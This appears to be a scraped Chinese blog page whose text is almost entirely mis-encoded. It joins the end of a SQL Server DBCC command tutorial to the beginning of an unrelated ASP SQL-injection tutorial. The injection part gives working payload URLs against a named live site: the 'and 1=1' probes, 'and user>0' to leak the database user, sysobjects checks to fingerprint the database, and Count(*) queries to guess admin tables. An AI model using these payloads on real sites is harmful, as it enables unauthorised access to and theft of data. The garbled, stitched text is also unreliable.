銆銆checkalloc鏄鏌ユ寚瀹氭暟鎹簱錛岀湅鍏舵墍鏈夋紜垎閰嶇殑欏靛拰灝氭湭鍒嗛厤鐨勯〉鐨勬儏鍐點傝嫢鏈寚瀹氭暟鎹簱鍚嶏紝鍒檆heckalloc媯鏌ュ綋鍓嶆暟鎹簱銆俢heckalloc浼?xì)杩斿洖宸插垎閰嶇殑鍜屼娇鐢ㄧ殑绌洪棿鏁伴噺銆俢heckalloc鐨勭己鐪佹ā寮忎負(fù)nofix錛岃浣跨敤fix閫夐」錛屽繀欏繪妸鏁版嵁搴撶疆浜庡崟鐢ㄦ埛妯″紡銆?

銆渚嬶細(xì)

dbcc checkalloc (pubs2)
.
.
.
alloc page 0 (#of extent=32 used pages=68 ref pages=68)
alloc page 256 (# of extent=32 used pages=154 ref pages=154)
alloc page 512 (# of extent=28 used pages=184 ref pages=184)
alloc page 768 (# of extent=1 used pages=1 ref pages=1)
total (# of extent=93 used pages=407 ref pages=407) in this database.
DBCC execution completed.If dbcc printed error message,
Contact a user with System Adminstrator (SA) role.  

銆銆tablealloc閫夐」

銆銆tablealloc媯鏌ユ寚瀹氱殑琛ㄤ互紜繚鎵鏈夐〉閮借姝g‘鍦板垎閰嶃傚畠鏄痗heckalloc鐨勭緝?yōu)畯鐗堟湰銆傚鍗曞紶琛ㄨ繘琛岀浉鍚岀殑瀹屾暣鎬ф鏌ャ備嬌鐢╰ablealloc鍙互鐢熸垚涓夌綾誨瀷鐨勬姤琛細(xì)full,optimized鍜宖ast銆俧ull閫夐」鐩稿綋浜庤〃涓綰х殑checkalloc錛涘畠鎶ュ憡鍚勭綾誨瀷鐨勫垎閰嶉敊璇俹ptimized閫夐」鍩轟簬琛ㄧ殑瀵硅薄鍒嗛厤鏄犲儚錛圤AM錛夐〉閲屽垪鍑虹殑鍒嗛厤欏電敓鎴愭姤鍛娿傚畠騫朵笉鎶ュ憡錛屼篃涓嶈兘鏁寸悊OAM欏甸噷娌℃湁鍒楀嚭鐨勫湪鍒嗛厤欏典笂娌℃湁寮曠敤鐨勬墿灞曪紙extent錛夈傚鏋滄病鏈夋寚鏄庣被鍨嬶紝鎴栦嬌鐢ㄤ簡null錛屽垯optimized閫夐」鏄己鐪佺殑璁劇疆銆俧ast閫夐」錛屽茍涓嶇敓鎴愬垎閰嶆姤鍛婏紝浣嗙敓鎴愪竴涓寮曠敤浣嗗茍娌℃湁鍦ㄦ墿灞曢噷鍒嗛厤鐨勯〉鐨勯澶栫殑鎶ュ憡銆俧ix|nofix閫夐」鍐沖畾tablealloc 鏄惁鏁寸悊琛ㄤ腑鍙戠幇鐨勫垎閰嶉敊璇傚浜庢墍鏈夌殑琛紝緙虹渷涓篺ix錛屼絾緋葷粺琛ㄩ櫎澶栵紝瀹冧滑鐨勭己鐪佷負(fù)nofix銆傝瀵圭郴緇熻〃浣跨敤fix閫夐」錛屽繀欏婚鍏堝皢鏁版嵁搴撶疆鎴愬崟鐢ㄦ埛妯″紡銆?

渚嬶細(xì)

dbcc tablealloc(titles)
鏄劇ず淇℃伅濡備笅錛?
The default report option of OPTIMIZED is used for this run. The default fix option of FIX.is used for this run.
.
.
.
Total #of extent=3
Alloc page 256 (# of extent=1 used pages=2 ref pages=2).
Alloc page 256(# of extent=1 used pages=2 ref pages=2)
Alloc page 256 (# of extent=1 used pages=2 ref pages=2)
Total (# of extent=3 used pages=8 ref pages=8) in this database.  

銆銆indexalloc 閫夐」

銆銆indexalloc媯鏌ユ寚瀹氱殑绱㈠紩錛岀‘淇濇墍鏈夌殑欏甸兘琚紜湴鍒嗛厤錛屽畠鏄痗heckalloc鐨勭緝?yōu)畯鐗堟湰锛屽鍗曠嫭涓鏉$儲寮曟寚瀹氬悓鏍風(fēng)殑瀹屾暣鎬ф鏌ャ傚叾涓悇閫夐」涓巘ablealloc鐩稿悓銆?

銆銆checkcatalog閫夐」

銆銆checkcatalog閫夐」鐢ㄤ簬媯鏌ョ郴緇熻〃鍐咃紝緋葷粺琛ㄤ箣闂寸殑涓鑷存с備緥濡傦細(xì)瀹冪‘淇濆湪syscolumns琛ㄤ腑鐨勬瘡涓錛堟暟鎹級綾誨瀷鍦╯ystypes琛ㄤ腑閮芥湁涓涓浉鍖歸厤鐨勮褰曪紱瀵逛簬sysobjects涓殑姣忎釜琛ㄥ拰瑙嗗浘鍦╯yscolumns琛ㄤ腑搴旀湁鍏充簬瀹冧滑姣忎竴鍒楃殑鎻忚堪璁板綍錛涚‘淇濆湪syslogs涓殑鏈鍚庝竴涓鏌ョ偣鏄湁鏁堢殑銆俢heckcatalog涔熸姤鍛婁換浣曞凡瀹氫箟鐨勬銆傝嫢涓嶆寚瀹氭暟鎹簱鍚嶏紝鍒欐鏌ュ綋鍓嶆暟鎹簱銆?

銆銆dbrepair閫夐」

銆銆dbrepair錛堟暟鎹簱鍚嶏紝dropdb錛夐夐」鏄垹闄や竴涓彈鐮村潖鐨勬暟鎹簱銆傚彈鐮村潖鐨勬暟鎹簱鏄笉鑳界敤drop database鍛戒護(hù)鍒犻櫎鐨勶紝drop database鍙兘鍒犻櫎姝e父鐨勬暟鎹簱錛屽綋鎵цdbrepair鍛戒護(hù)鏃訛紝浠諱綍鐢ㄦ埛錛堝寘鎷墽琛屾鍛戒護(hù)鐨勭敤鎴鳳級閮戒笉寰椾嬌鐢ㄦ琚垹闄ょ殑鏁版嵁搴撱傝閫夐」瑕佸湪master搴撲腑榪愯銆?

銆銆reindex閫夐」

銆銆reindex閫夐」閫氳繃榪愯dbcc checktable鐨?#8220;fast”鎵ц鏂瑰紡媯鏌ョ敤鎴瘋〃涓婄儲寮曠殑瀹屾暣鎬с傚鏋滃畠媯嫻嬪嚭绱㈠紩鏈夐棶棰樺垯浼?xì)鍒犻櫎迤堥噸寰忕储寮曘傚湪SQL Server鐨勬帓鍒楅『搴忔敼鍙樹箣鍚庯紝SA鎴栬〃灞炰富搴旇鎵ц榪欎竴閫夐」銆傛閫夐」涓嶈兘鍦ㄧ敤鎴峰畾涔夌殑浜嬪姟涓繍琛屻?

渚嬶細(xì)

dbcc reindex (titles)
榪斿洖淇℃伅錛歄ne or more indexes corrupt.They will be rebuilt.  

銆銆fix_text閫夐」

銆銆SQL Server鐨勫瓧絎﹂泦鐢卞崟瀛楄妭杞彉涓哄瀛楄妭鍚庯紝fix_text閫夐」鐢ㄤ簬鍗囩駭鏂囨湰鍊箋係QL Server鐨勫瓧絎﹂泦鐢卞崟瀛楄妭杞彉涓哄瀛楄妭瀛楃闆嗕細(xì)浣挎枃鏈暟鎹殑綆$悊鏇村姞澶嶆潅銆傜敱浜庢枃鏈煎彲鑳借緝澶ц凍浠ヨ鐩栬嫢騫查〉錛孲QL Server蹇呴』鑳藉鐞嗭紙閫氳繃欏電害鏉燂級鍙兘妯法欏電殑瀛楃銆備負(fù)鍋氬埌榪欑偣錛屾湇鍔″櫒闇瑕佸湪姣忎竴鏂囨湰欏典笂娣誨姞涓浜涗俊鎭係A鎴栬〃灞炰富蹇呴』鍦ㄦ枃鏈暟鎹殑姣忎竴涓〃涓婅繍琛宒bcc fix_text錛屼互璁$畻鎵闇瑕佺殑鏂伴〉鏁般?

銆銆鎬諱箣錛孌BCC鍛戒護(hù)鎵榪斿洖鐨勪俊鎭兘鍑嗙‘鍦板弽鏄犳暟鎹簱鍙婂畠鐨勫悇涓璞$殑鐘舵侊紝鏄垜浠嫻嬫暟鎹簱鐨勫ソ甯墜銆?/p>




]]>
綃囪緇哠QL娉ㄥ叆鏂規(guī)硶http://m.tkk7.com/19851985lili/articles/110318.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenFri, 13 Apr 2007 00:00:00 GMThttp://m.tkk7.com/19851985lili/articles/110318.htmlhttp://m.tkk7.com/19851985lili/comments/110318.htmlhttp://m.tkk7.com/19851985lili/articles/110318.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/110318.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/110318.html綃囪緇哠QL娉ㄥ叆鏂規(guī)硶錛屽鍒濆鑰呮湁寰堝ぇ鐨勫府鍔╋紒瀵逛綘娌″府鍔╁氨涓嶈欏訛紒

闅忕潃B/S妯″紡搴旂敤寮鍙戠殑鍙戝睍錛屼嬌鐢ㄨ繖縐嶆ā寮忕紪鍐欏簲鐢ㄧ▼搴忕殑紼嬪簭鍛樹篃瓚婃潵瓚婂銆備絾鏄敱浜庤繖涓涓氱殑鍏ラ棬闂ㄦ涓嶉珮錛岀▼搴忓憳鐨勬按騫沖強緇忛獙涔熷弬宸笉榻愶紝鐩稿綋澶т竴閮ㄥ垎紼嬪簭鍛樺湪緙栧啓浠g爜鐨勬椂鍊欙紝娌℃湁瀵圭敤鎴瘋緭鍏ユ暟鎹殑鍚堟硶鎬ц繘琛屽垽鏂紝浣垮簲鐢ㄧ▼搴忓瓨鍦ㄥ畨鍏ㄩ殣鎮(zhèn)c傜敤鎴峰彲浠ユ彁浜や竴孌墊暟鎹簱鏌ヨ浠g爜錛屾牴鎹▼搴忚繑鍥炵殑緇撴灉錛岃幏寰楁煇浜涗粬鎯沖緱鐭ョ殑鏁版嵁錛岃繖灝辨槸鎵璋撶殑SQL Injection錛屽嵆錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆銆?br>
錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鏄粠姝e父鐨刉WW绔彛璁塊棶錛岃屼笖琛ㄩ潰鐪嬭搗鏉ヨ窡涓鑸殑Web欏甸潰璁塊棶娌′粈涔堝尯鍒紝鎵浠ョ洰鍓嶅競闈㈢殑闃茬伀澧欓兘涓嶄細(xì)瀵癸汲錛憋棘娉ㄥ叆鍙戝嚭璀︽姤錛屽鏋滅鐞嗗憳娌℃煡鐪婭IS鏃ュ織鐨勪範(fàn)鎯紝鍙兘琚叆渚靛緢闀挎椂闂撮兘涓嶄細(xì)鍙戣銆?br>
浣嗘槸錛岋汲錛憋棘娉ㄥ叆鐨勬墜娉曠浉褰撶伒媧伙紝鍦?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勬椂鍊欎細(xì)紕板埌寰堝鎰忓鐨勬儏鍐點傝兘涓嶈兘鏍規(guī)嵁鍏蜂綋鎯呭喌榪涜鍒嗘瀽錛屾瀯閫犲閥濡欑殑SQL璇彞錛屼粠鑰屾垚鍔熻幏鍙栨兂瑕佺殑鏁版嵁錛屾槸楂樻墜涓?#8220;鑿滈笩”鐨勬牴鏈尯鍒?br>
鏍規(guī)嵁鍥芥儏錛屽浗鍐呯殑緗戠珯鐢ˋSP+Access鎴朣QLServer鐨勫崰70%浠ヤ笂錛孭HP+MySQ鍗燣20%錛屽叾浠栫殑涓嶈凍10%銆傚湪鏈枃錛屾垜浠粠鍒嗗叆闂ㄣ佽繘闃惰嚦楂樼駭璁茶В涓涓婣SP娉ㄥ叆鐨勬柟娉曞強鎶宸э紝PHP娉ㄥ叆鐨勬枃绔犵敱NB鑱旂洘鐨勫彟涓浣嶆湅鍙媧well鎾板啓錛屽笇鏈涘瀹夊叏宸ヤ綔鑰呭拰紼嬪簭鍛橀兘鏈夌敤澶勩備簡瑙SP娉ㄥ叆鐨勬湅鍙嬩篃璇蜂笉瑕佽煩榪囧叆闂ㄧ瘒錛屽洜涓洪儴鍒嗕漢瀵?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勫熀鏈垽鏂柟娉曡繕瀛樺湪璇尯銆傚ぇ瀹跺噯澶囧ソ浜嗗悧錛烲et's Go...

鍏?闂?綃?br>
濡傛灉浣犱互鍓嶆病璇曡繃錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勮瘽錛岄偅涔堢涓姝ュ厛鎶奍E鑿滃崟=>宸ュ叿=>Internet閫夐」=>楂樼駭=>鏄劇ず鍙嬪ソ HTTP 閿欒淇℃伅鍓嶉潰鐨勫嬀鍘繪帀銆傚惁鍒欙紝涓嶈鏈嶅姟鍣ㄨ繑鍥炰粈涔堥敊璇紝IE閮藉彧鏄劇ず涓篐TTP 500鏈嶅姟鍣ㄩ敊璇紝涓嶈兘鑾峰緱鏇村鐨勬彁紺轟俊鎭?

絎竴鑺傘侊汲錛憋棘娉ㄥ叆鍘熺悊

浠ヤ笅鎴戜滑浠庝竴涓綉绔檞ww.19cn.com寮濮嬶紙娉細(xì)鏈枃鍙戣〃鍓嶅凡寰佸緱璇ョ珯绔欓暱鍚屾剰錛屽ぇ閮ㄥ垎閮芥槸鐪熷疄鏁版嵁錛夈?br>
鍦ㄧ綉绔欓欏典笂錛屾湁鍚嶄負(fù)“IE涓嶈兘鎵撳紑鏂扮獥鍙g殑澶氱瑙e喅鏂規(guī)硶”鐨勯摼鎺ワ紝鍦板潃涓猴細(xì)http://www.19cn.com/showdetail.asp?id=49錛屾垜浠湪榪欎釜鍦板潃鍚庨潰鍔犱笂鍗曞紩鍙?#8217;錛屾湇鍔″櫒浼?xì)杩斿洖涓嬮潰鐨勯敊璇彁绀哄Q?br>
Microsoft JET Database Engine 閿欒 '80040e14'
瀛楃涓茬殑璇硶閿欒 鍦ㄦ煡璇㈣〃杈懼紡 'ID=49'' 涓?br>/showdetail.asp錛岃8

浠庤繖涓敊璇彁紺烘垜浠兘鐪嬪嚭涓嬮潰鍑犵偣錛?br>
1.緗戠珯浣跨敤鐨勬槸Access鏁版嵁搴擄紝閫氳繃JET寮曟搸榪炴帴鏁版嵁搴擄紝鑰屼笉鏄氳繃ODBC銆?br>2.紼嬪簭娌℃湁鍒ゆ柇瀹㈡埛绔彁浜ょ殑鏁版嵁鏄惁絎﹀悎紼嬪簭瑕佹眰銆?br>3.璇?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL璇彞鎵鏌ヨ鐨勮〃涓湁涓鍚嶄負(fù)ID鐨勫瓧孌點?br>
浠庝笂闈㈢殑渚嬪瓙鎴戜滑鍙互鐭ラ亾錛岋汲錛憋棘娉ㄥ叆鐨勫師鐞嗭紝灝辨槸浠庡鎴風(fēng)鎻愪氦鐗規(guī)畩鐨勪唬鐮侊紝浠庤屾敹闆嗙▼搴忓強鏈嶅姟鍣ㄧ殑淇℃伅錛屼粠鑰岃幏鍙栦綘鎯沖埌寰楀埌鐨勮祫鏂欍?br>
絎簩鑺傘佸垽鏂兘鍚﹁繘琛岋汲錛憋棘娉ㄥ叆

銆銆鐪嬪畬絎竴鑺傦紝鏈変竴浜涗漢浼?xì)瑙夊緱锛?xì)鎴戜篃鏄粡甯歌繖鏍鋒祴璇曡兘鍚?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勶紝榪欎笉鏄緢綆鍗曞悧錛?br>銆銆鍏跺疄錛岃繖騫朵笉鏄渶濂界殑鏂規(guī)硶錛屼負(fù)浠涔堝憿錛?br>
銆銆棣栧厛錛屼笉涓瀹氭瘡鍙版湇鍔″櫒鐨処IS閮借繑鍥炲叿浣撻敊璇彁紺虹粰瀹㈡埛绔紝濡傛灉紼嬪簭涓姞浜哻int(鍙傛暟)涔嬬被璇彞鐨勮瘽錛岋汲錛憋棘娉ㄥ叆鏄笉浼?xì)鎴愬姛鐨勫Q屼絾鏈嶅姟鍣ㄥ悓鏍蜂細(xì)鎶ラ敊錛屽叿浣撴彁紺轟俊鎭負(fù)澶勭悊 URL 鏃舵湇鍔″櫒涓婂嚭閿欍傝鍜岀郴緇熺鐞嗗憳鑱旂粶銆?br>
鍏舵錛岄儴鍒嗗錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鏈変竴鐐逛簡瑙g殑紼嬪簭鍛橈紝璁や負(fù)鍙鎶婂崟寮曞彿榪囨護(hù)鎺夊氨瀹夊叏浜嗭紝榪欑鎯呭喌涓嶄負(fù)灝戞暟錛屽鏋滀綘鐢ㄥ崟寮曞彿嫻嬭瘯錛屾槸嫻嬩笉鍒?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐐圭殑

銆銆閭d箞錛屼粈涔堟牱鐨勬祴璇曟柟娉曟墠鏄瘮杈冨噯紜憿錛熺瓟妗堝涓嬶細(xì)

鈶?http://www.19cn.com/showdetail.asp?id=49
鈶?http://www.19cn.com/showdetail.asp?id=49 and 1=1
鈶?http://www.19cn.com/showdetail.asp?id=49 and 1=2

榪欏氨鏄粡鍏哥殑1=1銆?=2嫻嬭瘯娉曚簡錛屾庝箞鍒ゆ柇鍛紵鐪嬬湅涓婇潰涓変釜緗戝潃榪斿洖鐨勭粨鏋滃氨鐭ラ亾浜嗭細(xì)

鍙互娉ㄥ叆鐨勮〃鐜幫細(xì)

鈶?姝e父鏄劇ず錛堣繖鏄繀鐒剁殑錛屼笉鐒跺氨鏄▼搴忔湁閿欒浜嗭級
鈶?姝e父鏄劇ず錛屽唴瀹瑰熀鏈笌鈶犵浉鍚?br>鈶?鎻愮ずBOF鎴朎OF錛堢▼搴忔病鍋氫換浣曞垽鏂椂錛夈佹垨鎻愮ず鎵句笉鍒拌褰曪紙鍒ゆ柇浜唕s.eof鏃訛級銆佹垨鏄劇ず鍐呭涓虹┖錛堢▼搴忓姞浜唎n error resume next錛?br>
涓嶅彲浠?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆灝辨瘮杈冨鏄撳垽鏂簡錛屸憼鍚屾牱姝e父鏄劇ず錛屸憽鍜屸憿涓鑸兘浼?xì)鏈壗E嬪簭瀹氫箟鐨勯敊璇彁紺猴紝鎴栨彁紺虹被鍨嬭漿鎹㈡椂鍑洪敊銆?br>
銆銆褰撶劧錛岃繖鍙槸浼犲叆鍙傛暟鏄暟瀛楀瀷鐨勬椂鍊欑敤鐨勫垽鏂柟娉曪紝瀹為檯搴旂敤鐨勬椂鍊欎細(xì)鏈夊瓧絎﹀瀷鍜屾悳绱㈠瀷鍙傛暟錛屾垜灝嗗湪涓駭綃囩殑“錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆涓鑸楠?#8221;鍐嶅仛鍒嗘瀽銆?

絎笁鑺傘佸垽鏂暟鎹簱綾誨瀷鍙?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鏂規(guī)硶

涓嶅悓鐨勬暟鎹簱鐨勫嚱鏁般?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鏂規(guī)硶閮芥槸鏈夊樊寮傜殑錛屾墍浠ュ湪娉ㄥ叆涔嬪墠錛屾垜浠繕瑕佸垽鏂竴涓嬫暟鎹簱鐨勭被鍨嬨備竴鑸珹SP鏈甯告惌閰嶇殑鏁版嵁搴撴槸Access鍜孲QLServer錛岀綉涓婅秴榪?9%鐨勭綉绔欓兘鏄叾涓箣涓銆?br>
鎬庝箞璁╃▼搴忓憡璇変綘瀹冧嬌鐢ㄧ殑浠涔堟暟鎹簱鍛紵鏉ョ湅鐪嬶細(xì)

SQLServer鏈変竴浜涚郴緇熷彉閲忥紝濡傛灉鏈嶅姟鍣↖IS鎻愮ず娌″叧闂紝騫朵笖SQLServer榪斿洖閿欒鎻愮ず鐨勮瘽錛岄偅鍙互鐩存帴浠庡嚭閿欎俊鎭幏鍙栵紝鏂規(guī)硶濡備笅錛?br>
http://www.19cn.com/showdetail.asp?id=49 and user>0

榪欏彞璇彞寰堢畝鍗曪紝浣嗗嵈鍖呭惈浜哠QLServer鐗規(guī)湁娉ㄥ叆鏂規(guī)硶鐨勭簿楂擄紝鎴戣嚜宸變篃鏄湪涓嬈℃棤鎰忕殑嫻嬭瘯涓彂鐜拌繖縐嶆晥鐜囨瀬楂樼殑鐚滆В鏂規(guī)硶銆傝鎴戠湅鏉ョ湅鐪嬪畠鐨勫惈涔夛細(xì)棣栧厛錛屽墠闈㈢殑璇彞鏄甯哥殑錛岄噸鐐瑰湪and user>0錛屾垜浠煡閬擄紝user鏄疭QLServer鐨勪竴涓唴緗彉閲忥紝瀹冪殑鍊兼槸褰撳墠榪炴帴鐨勭敤鎴峰悕錛岀被鍨嬩負(fù)nvarchar銆傛嬁涓涓猲varchar鐨勫艱窡int鐨勬暟0姣旇緝錛岀郴緇熶細(xì)鍏堣瘯鍥懼皢nvarchar鐨勫艱漿鎴恑nt鍨嬶紝褰撶劧錛岃漿鐨勮繃紼嬩腑鑲畾浼?xì)鍑洪敊锛孲QLServer鐨勫嚭閿欐彁紺烘槸錛氬皢nvarchar鍊?”abc” 杞崲鏁版嵁綾誨瀷涓?int 鐨勫垪鏃跺彂鐢熻娉曢敊璇紝鍛靛懙錛宎bc姝f槸鍙橀噺user鐨勫鹼紝榪欐牱錛屼笉搴熷惞鐏頒箣鍔涘氨鎷垮埌浜嗘暟鎹簱鐨勭敤鎴峰悕銆傚湪浠ュ悗鐨勭瘒騫呴噷錛屽ぇ瀹朵細(xì)鐪嬪埌寰堝鐢ㄨ繖縐嶆柟娉曠殑璇彞銆?br>
欏轟究璇村嚑鍙ワ紝浼楁墍鍛ㄧ煡錛孲QLServer鐨勭敤鎴穝a鏄釜絳夊悓Adminstrators鏉冮檺鐨勮鑹詫紝鎷垮埌浜唖a鏉冮檺錛屽嚑涔庤偗瀹氬彲浠ユ嬁鍒頒富鏈虹殑Administrator浜嗐備笂闈㈢殑鏂規(guī)硶鍙互寰堟柟渚跨殑嫻嬭瘯鍑烘槸鍚︽槸鐢╯a鐧誨綍錛岃娉ㄦ剰鐨勬槸錛氬鏋滄槸sa鐧誨綍錛屾彁紺烘槸灝?#8221;dbo”杞崲鎴恑nt鐨勫垪鍙戠敓閿欒錛岃屼笉鏄?#8221;sa”銆?

濡傛灉鏈嶅姟鍣↖IS涓嶅厑璁歌繑鍥為敊璇彁紺猴紝閭f庝箞鍒ゆ柇鏁版嵁搴撶被鍨嬪憿錛熸垜浠彲浠ヤ粠Access鍜孲QLServer鍜屽尯鍒叆鎵嬶紝Access鍜孲QLServer閮芥湁鑷繁鐨勭郴緇熻〃錛屾瘮濡傚瓨鏀炬暟鎹簱涓墍鏈夊璞$殑琛紝Access鏄湪緋葷粺琛╗msysobjects]涓紝浣嗗湪Web鐜涓嬭璇ヨ〃浼?xì)鎻惤C?#8220;娌℃湁鏉冮檺”錛孲QLServer鏄湪琛╗sysobjects]涓紝鍦╓eb鐜涓嬪彲姝e父璇誨彇銆?br>
鍦ㄧ‘璁ゅ彲浠?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勬儏鍐典笅錛屼嬌鐢ㄤ笅闈㈢殑璇彞錛?br>
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

濡傛灉鏁版嵁搴撴槸SQLServer錛岄偅涔堢涓涓綉鍧鐨勯〉闈笌鍘熼〉闈?a target=_blank>http://www.19cn.com/showdetail.asp?id=49鏄ぇ鑷寸浉鍚岀殑錛涜岀浜屼釜緗戝潃錛岀敱浜庢壘涓嶅埌琛╩sysobjects錛屼細(xì)鎻愮ず鍑洪敊錛屽氨綆楃▼搴忔湁瀹歸敊澶勭悊錛岄〉闈篃涓庡師欏甸潰瀹屽叏涓嶅悓銆?br>
濡傛灉鏁版嵁搴撶敤鐨勬槸Access錛岄偅涔堟儏鍐靛氨鏈夋墍涓嶅悓錛岀涓涓綉鍧鐨勯〉闈笌鍘熼〉闈㈠畬鍏ㄤ笉鍚岋紱絎簩涓綉鍧錛屽垯瑙嗕箮鏁版嵁搴撹緗槸鍚﹀厑璁歌璇ョ郴緇熻〃錛屼竴鑸潵璇存槸涓嶅厑璁哥殑錛屾墍浠ヤ笌鍘熺綉鍧涔熸槸瀹屽叏涓嶅悓銆傚ぇ澶氭暟鎯呭喌涓嬶紝鐢ㄧ涓涓綉鍧灝卞彲浠ュ緱鐭ョ郴緇熸墍鐢ㄧ殑鏁版嵁搴撶被鍨嬶紝絎簩涓綉鍧鍙綔涓哄紑鍚疘IS閿欒鎻愮ず鏃剁殑楠岃瘉銆?br>
(鍏ラ棬綃囧畬)
璇存槑:浣跨敤NBSI-NB鑱旂洘SQL娉ㄥ叆鍒嗘瀽鍣ㄥ彲浠ユ嫻嬪嚭鍚勭SQL娉ㄥ叆婕忔礊騫惰繘琛岃В鐮?鎻愰珮鐚滆В鏁堢巼.

鍦ㄥ叆闂ㄧ瘒錛屾垜浠浼?xì)浜嗗Q籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勫垽鏂柟娉曪紝浣嗙湡姝h鎷垮埌緗戠珯鐨勪繚瀵嗗唴瀹癸紝鏄繙榪滀笉澶熺殑銆傛帴涓嬫潵錛屾垜浠氨緇х畫瀛︿範(fàn)濡備綍浠庢暟鎹簱涓幏鍙栨兂瑕佽幏寰楃殑鍐呭錛岄鍏堬紝鎴戜滑鍏堢湅鐪嬶汲錛憋棘娉ㄥ叆鐨勪竴鑸楠わ細(xì)


絎竴鑺傘侊汲錛憋棘娉ㄥ叆鐨勪竴鑸楠?br>
棣栧厛錛屽垽鏂幆澧冿紝瀵繪壘娉ㄥ叆鐐癸紝鍒ゆ柇鏁版嵁搴撶被鍨嬶紝榪欏湪鍏ラ棬綃囧凡緇忚榪囦簡銆?br>
鍏舵錛屾牴鎹?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鍙傛暟綾誨瀷錛屽湪鑴戞搗涓噸鏋?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL璇彞鐨勫師璨岋紝鎸夊弬鏁扮被鍨嬩富瑕佸垎涓轟笅闈笁縐嶏細(xì)

(A) ID=49 榪欑被娉ㄥ叆鐨勫弬鏁版槸鏁板瓧鍨嬶紝SQL璇彞鍘熻矊澶ц嚧濡備笅錛?br>Select * from 琛ㄥ悕 where 瀛楁=49
娉ㄥ叆鐨勫弬鏁頒負(fù)ID=49 And [鏌ヨ鏉′歡]錛屽嵆鏄敓鎴愯鍙ワ細(xì)
Select * from 琛ㄥ悕 where 瀛楁=49 And [鏌ヨ鏉′歡]


(B) Class=榪炵畫鍓?榪欑被娉ㄥ叆鐨勫弬鏁版槸瀛楃鍨嬶紝SQL璇彞鍘熻矊澶ц嚧姒傚涓嬶細(xì)
Select * from 琛ㄥ悕 where 瀛楁=’榪炵畫鍓?#8217;
娉ㄥ叆鐨勫弬鏁頒負(fù)Class=榪炵畫鍓?#8217; and [鏌ヨ鏉′歡] and ‘’=’ 錛屽嵆鏄敓鎴愯鍙ワ細(xì)
Select * from 琛ㄥ悕 where 瀛楁=’榪炵畫鍓?#8217; and [鏌ヨ鏉′歡] and ‘’=’’

(C) 鎼滅儲鏃舵病榪囨護(hù)鍙傛暟鐨勶紝濡俴eyword=鍏抽敭瀛楋紝SQL璇彞鍘熻矊澶ц嚧濡備笅錛?br>Select * from 琛ㄥ悕 where 瀛楁like ’%鍏抽敭瀛?’
娉ㄥ叆鐨勫弬鏁頒負(fù)keyword=’ and [鏌ヨ鏉′歡] and ‘%25’=’錛?鍗蟲槸鐢熸垚璇彞錛?br>Select * from 琛ㄥ悕 where瀛楁like ’%’ and [鏌ヨ鏉′歡] and ‘%’=’%’


鎺ョ潃錛屽皢鏌ヨ鏉′歡鏇挎崲鎴?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL璇彞錛岀寽瑙h〃鍚嶏紝渚嬪錛?br>
ID=49 And (Select Count(*) from Admin)>=0

濡傛灉欏甸潰灝變笌ID=49鐨勭浉鍚岋紝璇存槑闄勫姞鏉′歡鎴愮珛錛屽嵆琛ˋdmin瀛樺湪錛屽弽涔嬶紝鍗充笉瀛樺湪錛堣鐗㈣榪欑鏂規(guī)硶錛夈傚姝ゅ驚鐜紝鐩磋嚦鐚滃埌琛ㄥ悕涓烘銆?br>
琛ㄥ悕鐚滃嚭鏉ュ悗錛屽皢Count(*)鏇挎崲鎴怌ount(瀛楁鍚?錛岀敤鍚屾牱鐨勫師鐞嗙寽瑙e瓧孌靛悕銆?br>
鏈変漢浼?xì)璇村Q氳繖閲屾湁涓浜涘伓鐒剁殑鎴愬垎錛屽鏋滆〃鍚嶈搗寰楀緢澶嶆潅娌¤寰嬬殑錛岄偅鏍規(guī)湰灝辨病寰楃帺涓嬪幓浜嗐傝寰楀緢瀵癸紝榪欎笘鐣屾牴鏈氨涓嶅瓨鍦?00%鎴愬姛鐨勯粦瀹㈡妧鏈紝鑻嶈潎涓嶅彯鏃犵紳鐨勮泲錛屾棤璁哄鎶鏈楂樻繁鐨勯粦瀹紝閮芥槸鍥犱負(fù)鍒漢鐨勭▼搴忓啓寰椾笉涓ュ瘑鎴栦嬌鐢ㄨ呬繚瀵嗘剰璇嗕笉澶燂紝鎵嶆湁寰椾笅鎵嬨?br>
鏈夌偣璺戦浜嗭紝璇濊鍥炴潵錛屽浜嶴QLServer鐨勫簱錛岃繕鏄湁鍔炴硶璁╃▼搴忓憡璇夋垜浠〃鍚嶅強瀛楁鍚嶇殑錛屾垜浠湪楂樼駭綃囦腑浼?xì)鍋氫粙缁嶃?br>

